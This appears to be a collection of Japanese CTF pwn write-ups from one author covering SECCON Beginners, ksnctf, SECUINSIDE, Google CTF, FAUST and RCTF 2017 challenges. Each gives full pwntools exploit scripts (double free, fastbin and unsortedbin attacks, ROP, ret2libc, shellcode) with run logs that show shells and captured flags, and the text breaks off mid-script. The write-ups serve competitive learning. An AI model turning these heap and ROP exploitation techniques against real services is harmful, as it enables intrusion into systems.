SECCON Beginners NEXT 2017 東京 next_note writeup
はじめに
初心者で問題が解けないので、これで成長できたらいいなぁと思い参加した。
pwnableの方の講義で使われたnext_note
という問題のwriteupとなっている。
動作
よくある感じのノート管理。
脆弱性
double free
できる。
方針
double free
-> fastbin dup
-> fastbin attack
-> stdoutのvtableを書き換え
で制御を取れる。あとは適当にone-gadget-rce使った。
exploit
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "172.20.2.2" RPORT = 4296 LHOST = "127.0.0.1" LPORT = 8080 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./next_note') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./next_note'], execute=execute) else: conn = process(['./next_note']) # conn = process(['./next_note'], env={'LD_PRELOAD': ''}) # preparing for exploitation def add_note(size, payload): conn.sendlineafter('>> ', '1') conn.sendlineafter('length...', str(size)) conn.sendlineafter('note', payload) time.sleep(0.1) def show_note(): conn.sendlineafter('>> ', '2') def delete_note(idx): conn.sendlineafter('>> ', '3') conn.sendlineafter('Input id to remove...', str(idx)) log.info('Pwning') add_note(0xf8, 'hoge') add_note(0xf8, 'hoge') delete_note(0) show_note() conn.recvuntil('00 : ') libc_base = u64(conn.recv(6)+'\x00\x00') - 0x3c4b78 log.info('libc_base = 0x%x', libc_base) add_note(0x68, 'xxxx') add_note(0x68, 'yyyy') delete_note(2) delete_note(3) delete_note(2) show_note() conn.recvuntil('00 : ') heap_base = u64(conn.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0x70 log.info('heap_base = 0x%x', heap_base) payload = p64(libc_base + 0x3c56bd) add_note(0x68, payload) payload = 'z' * 8 * 3 payload += p64(libc_base + 0x4526a) payload += 'z' * 8 * 3 payload += p64(libc_base + 0x791e0) add_note(0x68, payload) add_note(0x68, 'zzzz') payload = '\x00'*3 + p64(0x0) * 5 + p64(heap_base + 0x80) add_note(0x68, payload) conn.interactive()
% python exploit.py r [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/hama/ctf/next/next_note' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE [+] Opening connection to 172.20.2.2 on port 4296: Done [*] Pwning [*] libc_base = 0x7fdecdd13000 [*] heap_base = 0x979000 [*] Switching to interactive mode ...$ ls flag next_note $ cat flag ctf4b{heap_exploit_techniques_are_awesome}
ksnctf C92 md5 writeup
はじめに
ksnctf C92のwriteup公開が解禁されたようなので、唯一のpwn問題だったmd5のwriteupをあげる。 ksnctf C92の各問題は下記リンクより参照できる。
初期調査
chceksecの結果を以下に載せる。SSPがないため、stackでのBOFが狙えそうである。また、Full RELROでないため、GOTの書き換えも有効である。 libcが公開されているため、address leakからのret2libcも狙える。
[*] '/home/hama/ctf/ksnctf/md5/md5' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE
機能
ローカルで動かす際にはflag.txt
が必要となる。
はじめにデータの長さを入力し、次に指定した長さ分のデータを入力できる。
入力データに対してmd5を求めて出力している。
exit
を入力すると処理を終了する。
% ./md5 Wait... Input data length: 10 Input data: aaaabbbbcc MD5(your data): 11a7cd2ff48c01afcc65cca69ed0f886 MD5(flag): d0ac268c6f2253bda954982ef99c1295 Input data length: 4 Input data: exit MD5(your data): f24f62eeb789199b9b2e467df3b1876b
方針
入力できるデータの長さを指定できるが、長さに制限はない。そのため用意されているバッファよりも大きい値を指定すればBOFが起きる。
main関数の戻りアドレスをBOFで上書きし、ROPでputs(libc_start_main_got)
を実行する。得られた値からlibcがマッピングされているlibc_base
が求まる。
ここまででは、address leakができただけなので、再度の攻撃を行えるように再びmain関数を実行させるようにする。
2度目の攻撃では求めたlibc_base
を用いて、__libc_system
とlibc内に存在する'/bin/sh'
を用いてret2libcを行った。
exploit
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "ksnctfc92.u1tramarine.blue" RPORT = 55555 LHOST = "127.0.0.1" LPORT = 55555 elf = ELF('./md5') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': libc = ELF('./libc.so.6') conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') execute = """ # set environment LD_PRELOAD=./libc.so.6 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./md5'], execute=execute) else: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') conn = process(['./md5']) # conn = process(['./md5'], env={'LD_PRELOAD': './libc.so.6'}) def calc_MD5(length, payload): conn.sendlineafter('Input data length:', str(length)) conn.sendlineafter('Input data:', payload) # preparing for exploitation libc_start_main_got = elf.got['__libc_start_main'] puts_addr = elf.symbols['puts'] main_addr = elf.symbols['main'] # 0x00400f13: pop rdi ; ret ; (1 found) pop_rdi = 0x00400f13 log.info('Pwning') payload = 'A' * (0x30+0x20) + p64(0x602098) + "A" * 0x20 rop = p64(pop_rdi) rop += p64(libc_start_main_got) rop += p64(puts_addr) rop += p64(main_addr) payload += rop calc_MD5(len(payload), payload) calc_MD5(4, 'exit') # leak libc_base conn.recvuntil('f24f62eeb789199b9b2e467df3b1876b\n') libc_base = u64(conn.recv(6).ljust(8, '\x00') ) - libc.symbols['__libc_start_main'] log.info('libc_base = {:#x}'.format(libc_base)) payload = 'A' * (0x30+0x20) + p64(0x602099) + "A" * 0x20 rop = p64(pop_rdi) rop += p64(libc_base + next(libc.search('/bin/sh'))) rop += p64(libc_base + libc.symbols['system']) # rop += p64(main_addr) payload += rop calc_MD5(len(payload), payload) calc_MD5(4, 'exit') conn.interactive()
% python exploit.py r [*] '/home/hama/ctf/ksnctf/md5/md5' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [*] '/home/hama/ctf/ksnctf/md5/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to ksnctfc92.u1tramarine.blue on port 55555: Done [*] Pwning [*] libc_base = 0x7fc9e6de7000 [*] Switching to interactive mode MD5(your data): f24f62eeb789199b9b2e467df3b1876b $ ls flag.txt flag2.txt md5 md5.sh $ cat flag* FLAG{EukFcauPdlPYh0bK} FLAG{OpBW3mIwSllxumQZ}
おわりに
シェルを取ればフラグが2つ得られるお得な問題だった。 しかし、2つ目のフラグをsubmitするためには裏にいく必要があり、到達できなかったためフラグを腐らせてしまった。
SECUINSIDE CTF 2017 childheap writeup
はじめに
コンテスト期間中に解くことができなかったが良いところまでいって放置していた。最近解いたので、そのwriteupを載せる。
checksec etc
普通のバイナリなので特に言うことはない。
% file ./childheap ./childheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2464f8e250b3eeb77e11b8748417024fb1bfd49f, stripped % checksec ./childheap [*] '/home/hama/ctf/SECUINSIDE2017/childheap/childheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE
機能
実行すると3つの機能を選択できそうであるが、実際には4つ目の機能がある。機能についてまとめると以下のとおりである。
Allocate
heapから指定したサイズ分を割りあてる。サイズには制約があり、0x1ff < size < 0x1000でなければならない。制約を満たすサイズであれば、malloc(size)が実行され取得されたメモリにサイズ分だけ書き込みが行える。malloc()で取得したメモリのポインタはたぶんスタック上でローカル変数として管理されている(この部分はバイナリを読んでいないので分からない)。2.Free
を実行すれば再度の割り当てができる。Free
Allocateで確保したメモリをfree()する。double freeが可能。Modify
一度でもAllocateを実行すれば指定可能になる。heao上で管理されるAgeやNameを再編集できる。この管理領域を指すポインタはbssに存在している。Secret
201527を入力すると実行できる機能。適当な数値をbssに保存することが可能。
% ./childheap -----ChildHeap 2017 in Secuinside--- 1. Allocate 2. Free 3. Modify
方針
このバイナリの特徴は、stdoutに関してはbufferingが切られているがstdinに関しては有効となっている点である。詳しいことは知らないが、ubuntu16.04(正確にはglibcに依存すると思うが)から、入出力のbufferはheapから確保される。
入力のbufferのために確保されるチャンクとAllocate
で確保できるチャンクと、double freeを上手く使ってunsortedbin attackを行う。書き込む先はModify
機能によって編集する先を指すポインタである。unsortedbin attackによってmain_aren内のunsortedbin周りを任意に編集できるようになる。
0x7f1ae77a7b80 <main_arena+96>: 0x7878787878787878 0x7878787878787878 0x7f1ae77a7b90 <main_arena+112>: 0x0078787878787878 0x00007f1ae77a7b88
Secret
によって書き込む数値をチャンクのサイズとみなすように、unsortedbinのfd/bkを編集すれば、malloc()で返すポインタをbss上に強制することができる。あとはModify
によって適当にGOTを書き換えてlibc_baseをリークしsystme(“/bin/sh”)を呼ぶ。
exploit.py
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "13.124.131.103" RPORT = 31337 LHOST = "127.0.0.1" LPORT = 31337 # libc = ELF('./libc.so.6') elf = ELF('./childheap') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so.6 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./childheap'], execute=execute) else: conn = process(['./childheap']) # conn = process(['./childheap'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation def Allocate(size, payload): conn.sendlineafter('> ', '1') conn.sendlineafter('Input size:', str(size)) conn.sendlineafter('Input data:', payload) def Free(): conn.sendlineafter('> ', '2') def Modify(payload, Flag): conn.sendlineafter('> ', '3') conn.sendlineafter('Do you want to change age (y/n)?', 'n') conn.sendlineafter('Input new name: ', payload) if Flag: conn.sendlineafter('Do you want to change name to new one (y/n)? ', 'y') else: conn.sendlineafter('Do you want to change name to new one (y/n)? ', 'n') def Secret(code): conn.sendlineafter('> ', '201527') conn.sendlineafter('Input secret code:', str(code)) person_addr = 0x6020c0 read_got = 0x602038 printf_addr = 0x400750 log.info('Pwning') Allocate(0xfff, 'hoge') Free() Modify('a'*0x8+'b'*8, True) Free() payload = 'x' * 8 + p64(person_addr - 0x10) Modify(payload, True) Allocate(0xfff, 'hoge') payload = p64(0) + p64(0x6020b0 - 8) * 2 # fd and bk are 0x6020b0-8 Modify(payload, True) Secret(0x211) Free() payload = "A" * 8 payload += p64(0x602070-0x8-0x2) Allocate(0x200, payload) payload = p64(printf_addr) Modify(payload, True) conn.sendline('XXXX%3$p') conn.recvuntil('XXXX') libc_base = int(conn.recv(14), 16) - 0xf7230 log.info('libc_base = {:#x}'.format(libc_base)) payload = "AA" + p64(libc_base + 0x45390) conn.recvuntil('3. Modify') conn.sendline('12') conn.sendlineafter('Do you want to change age (y/n)?', 'n') conn.sendlineafter('Input new name: ', payload) conn.sendlineafter('Do you want to change name to new one (y/n)? ', 'y') # Modify(payload, True) conn.sendline('/bin/sh\x00') conn.interactive()
Google CTF 2017 Inst Prof writeup
はじめに
shellcode問、やるだけ。
方針
下記のshellcodeを用いて、ROPを組んだ。それぞれ4byteになっている。
shellcode実行中のstackの先頭にはリターンアドレスがあるので、pop, push
でstackを壊さずにレジスタにテキスト領域のアドレスを格納することができる。r15
は特にバイナリ中で使用してなさそうだったので選んだ。
inc
とdec
で所望のROPガジェットとなるように、オフセットを計算している。0x1000回のinc
またはdec
を避けるために、ret
ですぐにリターンさせている。stack上への値の格納は、格納先をrbp
からのオフセットで指定できるmov
を使用した。rbx
はshellcodeの実行領域を指しているので、ROP中で用いている。1度のshellcodeを4byteに収めるために、下記の中でのoffsetとvalueは1byteに制限されている。
pop r15, push r15 inc r15, ret dec r15, ret mov BYTE PTR [rbp + offst], value mov [rbp+offset], r15 mov [rbp+offset], rbx
exploit
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "inst-prof.ctfcompetition.com" RPORT = 1337 LHOST = "127.0.0.1" LPORT = 1337 # libc = ELF('') elf = ELF('./inst_prof') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./inst_prof'], execute=execute) else: conn = process(['./inst_prof']) # conn = process(['./inst_prof'], env={'LD_PRELOAD': ''}) # preparing for exploitation def pop_push_r15(): return asm('pop r15\n push r15') def inc_r15(): return asm('inc r15\n ret') def dec_r15(): return asm('dec r15\n ret') def byte_move(offset, value): return asm('mov BYTE PTR [rbp+%d], %d' % (offset, value)) def byte_add(offset, value): return asm('add BYTE PTR [rbp+%d], %d' % (offset, value)) def reg_move(offset): return asm('mov [rbp+%d], r15' % offset) log.info('Pwning') conn.recvuntil('ready') payload = '' # alloc_page payload += pop_push_r15() payload += dec_r15() * 0x128 payload += reg_move(0x10) # pop_rsi_r15 rsi= 0x80, r15=? payload += pop_push_r15() payload += inc_r15() * 0xa9 payload += reg_move(0x18) payload += byte_move(0x20 + 0, 0x80) payload += byte_move(0x20 + 1, 0x00) # pop rdi; ret payload += pop_push_r15() payload += inc_r15() * 0xab payload += reg_move(0x30) payload += asm('mov [rbp+0x38], rbx') # read_n(size) payload += pop_push_r15() payload += dec_r15() * 0x98 payload += reg_move(0x40) # pop rdi ; ret payload += pop_push_r15() payload += inc_r15() * 0xab payload += reg_move(0x48) payload += asm('mov [rbp+0x50], rbx') # make_page_executable(addr) payload += pop_push_r15() payload += dec_r15() * 0xf8 payload += reg_move(0x58) payload += asm('mov [rbp+0x60], rbx') # trigger ROP payload += pop_push_r15() payload += inc_r15() * 0x39 payload += reg_move(0x8) # execve('/bin/sh') shellcode = '\x90' * 0x10 shellcode += asm(shellcraft.sh()) shellcode = shellcode.ljust(0x80, '\x90') payload += shellcode + '\n' conn.send(payload) conn.interactive()
結果
python exploit.py r [*] '/home/hama/ctf/GoogleCTF2017/InstProf/inst_prof' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to inst-prof.ctfcompetition.com on port 1337: Done [*] Pwning [*] Switching to interactive mode (長いので省略) $ cat flag.txt CTF{0v3r_4ND_0v3r_4ND_0v3r_4ND_0v3r}
おわりに
見返してみるとゴリ押しが酷い
FAUST CTF 2017 writeup
はじめに
TokyoWesternsで参加して14161.47ptの8位だった。得点の内訳は、Attackが2412.00pt、Defenceが-651.05pt、SLAが12166.52ptだった。 自分は、8つあるサービスの1つであるtoiletのpatchとexploitをやった。toiletでflagを取られることはなかったのでpatchが完璧だったみたい。 exploitとpatchのwriteupを載せる。
toilet
Loginでの入力はfgets(stdin, name, 0x41)を使っており、0x40byteとNULLの1byteを書き込むことができる。書き込まれる先はheap上になっており、nameの直下にはFlushで使用する関数ポインタが格納されている。 しかし、name分の大きさは0x40byte分しかないので、fgetsのNULL終端で関数ポインタの下位1byteをNULLに上書きすることができる。
この状態で、関数ポインタ経由で関数を呼ぶと下記のような場所を呼ぶことができる。0x40249dでは、第一引数(rdi)にある文字列を'data/%s'に展開してopen()->read()する。バイナリをよく読んでないので詳細は分からないが、read()された文字列のポインタがnameとして設定されるので、Show current settings
でファイルの中身を読むことができる。data/配下にflagが書き込まれるので、あとはやるだけ。
gdb-peda$ x/20gx 0x606410 0x606410: 0x0000000000000000 0x0000000000000071 0x606420: 0x6161616161616161 0x6161616161616161 0x606430: 0x6161616161616161 0x6161616161616161 0x606440: 0x6161616161616161 0x6161616161616161 0x606450: 0x6161616161616161 0x6161616161616161 0x606460: 0x0000000000403000 0x0000000000000014 0x606470: 0x0000000000000000 0x0000000059288a7a 0x606480: 0x0000000065614388
gdb-peda$ x/7i 0x403000 0x403000: test rdi,rdi 0x403003: je 0x403010 0x403005: sub rsp,0x8 0x403009: call 0x40249d 0x40300e: jmp 0x403016 0x403010: mov eax,0x0 0x403015: ret
exploit
下記の手順でflagを読むことができる。
1. Login 適当に0x40byte入れる。関数ポインタの下位1byteがNULL(0x00)になる。 8. Show Log Nameからflagのfilenameを得る。これはそういう仕様。 5. Drop a load 最初の入力は適当に数byte入力する。ここは何でもいい。 次の入力で取得したflagのfilenameを入力する。 7. Flush open(flag) -> read()が走る。 4. Show current settings nameの箇所にflagがでてくる。
実際にやると、こんな感じ。flagはFAUST_WShgeNoH74XqhAAAAAByXae4mq/HQOoi
で、あとは適当に自動化するだけ。自動化は自動化のプロにやってもらった。
$$$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$$$\ $$$$$$$$\ \__$$ __|$$ __$$\ \_$$ _|$$ | $$ _____|\__$$ __| $$ | $$ / $$ | $$ | $$ | $$ | $$ | $$ | $$ | $$ | $$ | $$ | $$$$$\ $$ | $$ | $$ | $$ | $$ | $$ | $$ __| $$ | $$ | $$ | $$ | $$ | $$ | $$ | $$ | $$ | $$$$$$ |$$$$$$\ $$$$$$$$\ $$$$$$$$\ $$ | \__| \______/ \______|\________|\________| \__| Welcome to the our new smart toilet! It's the best experience you'll get since your change from diaper to potty! Try our note feature to keep track of your bowel movement! Even better, in our next update we'll add a twitter sharing option! 1. Login 2. Change the seat temperature 3. Change the flush function 4. Show current settings 5. Drop a load 6. Show latest notes 7. Flush 8. Show Log 9. Logout 10. Exit Your choice: 1 Please give me your name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 1. Login 2. Change the seat temperature 3. Change the flush function 4. Show current settings 5. Drop a load 6. Show latest notes 7. Flush 8. Show Log 9. Logout 10. Exit Your choice: 1. Login 2. Change the seat temperature 3. Change the flush function 4. Show current settings 5. Drop a load 6. Show latest notes 7. Flush 8. Show Log 9. Logout 10. Exit Your choice: 8 This is highly sensitive information and we respect your privacy! Therefore, we anonymize the names in this log. But be aware that we are forced by law to hand out any data in case of a government agencies request. ################################################################################################# #========================================= Log ===============================================# #===============================================================================================# #==== Name (anonymized) ==== | ==== Date ====# #========================================================================== | ==================# #==== 72508d056b428937372e831bad23753c3ad3e1cd66cb22d1e5b347850ddce5a8 ==== | ==== 01:54:03 ====# ################################################################################################# 1. Login 2. Change the seat temperature 3. Change the flush function 4. Show current settings 5. Drop a load 6. Show latest notes 7. Flush 8. Show Log 9. Logout 10. Exit Your choice: 5 Alright here we go! Don't hold back, give me everything you got! You've landed the jumbo! Nice work! Your load weights 00000339g Please describe the consistency: aaa Please leave a note about your gorgeous work: 72508d056b428937372e831bad23753c3ad3e1cd66cb22d1e5b347850ddce5a8 1. Login 2. Change the seat temperature 3. Change the flush function 4. Show current settings 5. Drop a load 6. Show latest notes 7. Flush 8. Show Log 9. Logout 10. Exit Your choice: 7 Going to flush now Aaaand it's gone! 1. Login 2. Change the seat temperature 3. Change the flush function 4. Show current settings 5. Drop a load 6. Show latest notes 7. Flush 8. Show Log 9. Logout 10. Exit Your choice: 4 ID: 954972103 Name: FAUST_WShgeNoH74XqhAAAAAByXae4mq/HQOoi Seat temperature: 20 Max. weight: 398 Last visit: 05:18:57 1. Login 2. Change the seat temperature 3. Change the flush function 4. Show current settings 5. Drop a load 6. Show latest notes 7. Flush 8. Show Log 9. Logout 10. Exit Your choice:
patch
fgets(stdin, name, 0x41)で1byte溢れるのが問題なので、fgets(stdin, name, 0x40)に修正した。この修正は問題なくSLAは通っていた。 適当にバイナリをvim -bで開き該当の箇所を直接書き換えてpatchを当てた。
おわりに
First Solve取れそうだったけど、間に合わなかった。次はFirst Solveとりたい。 あと最近、オンラインA&Dが多い気がする。
RCTF 2017 writeup
はじめに
TokyoWesternsで参加して4581ptで15位だった。自分はそのうち6問を解いて1965ptだった。 解いた問題は、Sign In、easyre、Recho、RCalc、RNote、RNote2で、そのwriteupを書いていく。
Sign In (Misc 32pt)
IRCに入るだけ
RCTF{Welcome_To_RCTF_2017}
easyre (Revrse 153pt)
UPXで圧縮されていたので、まずは解凍した。 gdbで適当に処理を追いながら、flagらしい文字列を送信したら当たっていた。
RCTF{rhelheg}
Recho (Pwn 370pt)
はじめにsizeを指定するためのread()があり、指定したsize分だけまたread()がある。それをずっと繰り返しており、sizeの入力がなかったとき(EOFを送る)にmainの処理が終わる。 SSPがないため、BOFを起こせるが、ネットワーク越しだと一回EOFを送るとその先の入力が行えなくなる。そのため一回のROPでflagを読む必要がある。 方針は単純で、read()のGOTの値を適当に書き換えてopen()にして、open()->read()->write()を行った。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "recho.2017.teamrois.cn" RPORT = 9527 LHOST = "127.0.0.1" LPORT = 9527 # libc = ELF('') elf = ELF('./Recho') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./Recho'], execute=execute) else: conn = process(['./Recho']) # conn = process(['./Recho'], env={'LD_PRELOAD': ''}) bufsize = 48 # without saved ebp write_plt = elf.symbols['write'] read_plt = elf.symbols['read'] write_got = elf.got['write'] read_got = elf.got['read'] pop_rax = 0x004006fc #: pop rax ; ret ; (1 found) pop_rdi = 0x004008a3 #: pop rdi ; ret ; (1 found) pop_rdx = 0x004006fe #: pop rdx ; ret ; (1 found) pop_rsi_r15 = 0x004008a1#: pop rsi ; pop r15 ; ret ; (1 found) call_rax = 0x004005b0 #: call rax ; (1 found) add_rdi_al = 0x0040070d #: add byte [rdi], al ; ret ; (1 found) flag_addr = 0x601058 bss = 0x00601000 + 0x100 # preparing for exploitation log.info('Pwning') conn.recvuntil('Welcome to Recho server!\n') payload = "A" * bufsize payload += p64(1) # modify GOT of 'read' to 'open' rop = '' rop += p64(pop_rdi) rop += p64(read_got) rop += p64(pop_rax) rop += p64(0xe0) # -0x20 rop += p64(add_rdi_al) rop += p64(pop_rdi) rop += p64(read_got+1) rop += p64(pop_rax) rop += p64(0xfe) # -2 rop += p64(add_rdi_al) # open('flag', constants.O_RDONLY) rop += p64(pop_rdi) rop += p64(flag_addr) rop += p64(pop_rsi_r15) rop += p64(constants.O_RDONLY) rop += p64(0x4141414142424242) rop += p64(pop_r12_3) rop += p64(read_got) rop += p64(read_got) rop += p64(read_got) rop += p64(read_got) rop += p64(call_r12) rop += p64(0xdeadbeaf) * 7 # modify GOT of 'open' to 'read' rop += p64(pop_rdi) rop += p64(read_got) rop += p64(pop_rax) rop += p64(0x20) # -0x20 rop += p64(add_rdi_al) rop += p64(pop_rdi) rop += p64(read_got+1) rop += p64(pop_rax) rop += p64(0x2) # -2 rop += p64(add_rdi_al) # read(fd, bss, 0x100) rop += p64(pop_rax) rop += p64(read_plt) rop += p64(pop_rdi) rop += p64(3) rop += p64(pop_rsi_r15) rop += p64(bss) rop += p64(0xdeadbeaf) rop += p64(pop_rdx) rop += p64(0x100) rop += p64(call_rax) rop += p64(0x0) # write(stdout, bss, 0x100) rop += p64(pop_rax) rop += p64(write_plt) rop += p64(pop_rdi) rop += p64(constants.STDOUT_FILENO) rop += p64(pop_rsi_r15) rop += p64(bss) rop += p64(0x11) rop += p64(pop_rdx) rop += p64(0x100) rop += p64(call_rax) payload += rop conn.sendline(str(len(payload)).ljust(0xf, '\x00')) conn.send(payload) conn.shutdown('send') conn.interactive()
% python exploit.py r [*] '/home/hama/ctf/RCTF2017/Recho/Recho/Recho' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to recho.2017.teamrois.cn on port 9527: Done [*] Pwning [*] Switching to interactive mode AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10RCTF{l0st_1n_th3_3ch0_d6794b} \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Closed connection to recho.2017.teamrois.cn port 9527 [*] Got EOF while reading in interactive
RCalc (Pwn 350pt)
scanf(“%s”)があり、BOFが起きる。自前のSSPが実装されているが、計算結果の保存を繰り返し行うことでcanaryを書き潰すことができるので、無いも同然。 scanfで区切られる文字に注意しながら、ROPした。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "rcalc.2017.teamrois.cn" RPORT = 2333 LHOST = "127.0.0.1" LPORT = 2333 libc = ELF('./libc.so.6') elf = ELF('./RCalc') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so.6 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./RCalc'], execute=execute) else: conn = process(['./RCalc']) # conn = process(['./RCalc'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation puts_got = elf.got['puts'] read_got = elf.got['read'] puts_offset = libc.symbols['puts'] system_offset = libc.symbols['system'] binsh_offset = next(libc.search('/bin/sh')) leave_ret = 0x00401034 #: leave ; ret ; (1 found) csu_init1 = 0x401100 # mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) csu_init2 = 0x40111a # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) pop_rdi = 0x00401123 #: pop rdi ; ret ; (1 found) bss = 0x602200 def Add(int1, int2, flag): conn.sendlineafter('Your choice:', '1') conn.sendlineafter('input 2 integer: ', str(int1)) conn.sendline(str(int2)) if flag: conn.sendlineafter('Save the result? ', 'yes') else: conn.sendlineafter('Save the result? ', 'no') log.info('Pwning') name = 'A' * 0x108 name += p64(0x2) name += "X" * 8 # read(stdin, bss, 0x100) and stack pivot rop = '' rop += p64(csu_init2) rop += p64(0x070400) # rbx rop += p64(0x070400+1) # rbp rop += p64(0x280050) # r12 rop += p64(0x100) # r13 rop += p64(bss) rop += p64(0x0) rop += p64(csu_init1) rop += "Z" * 8 rop += "Z" * 8 rop += p64(bss - 8) rop += "Z" * (8 * 4) rop += p64(leave_ret) payload = name + rop conn.sendlineafter('Input your name pls: ', payload) for i in range(0x20 + 2): Add(i, i, True) Add(1, 1, True) conn.sendlineafter('Your choice:', '5'.ljust(0xf, '\x00')) # puts(puts_got) rop = '' rop += p64(csu_init2) rop += p64(0x0) # rbx rop += p64(0x1) # rbp rop += p64(puts_got) # r12 rop += p64(0xdeadbeaf) # r13 rop += p64(0xdeadbeaf) rop += p64(puts_got) rop += p64(csu_init1) rop += "Z" * 8 # read(stdin, bss+a, 0x100) and stack pivot rop += p64(0x0) # rbx rop += p64(0x1) # rbp rop += p64(read_got) # r12 rop += p64(0x100) # r13 rop += p64(bss+0x100) rop += p64(0) rop += p64(csu_init1) rop += "Z" * 8 rop += "Z" * 8 rop += p64(bss - 8 + 0x100) rop += "Z" * (8 * 4) rop += p64(leave_ret) conn.sendline(rop) libc_base = 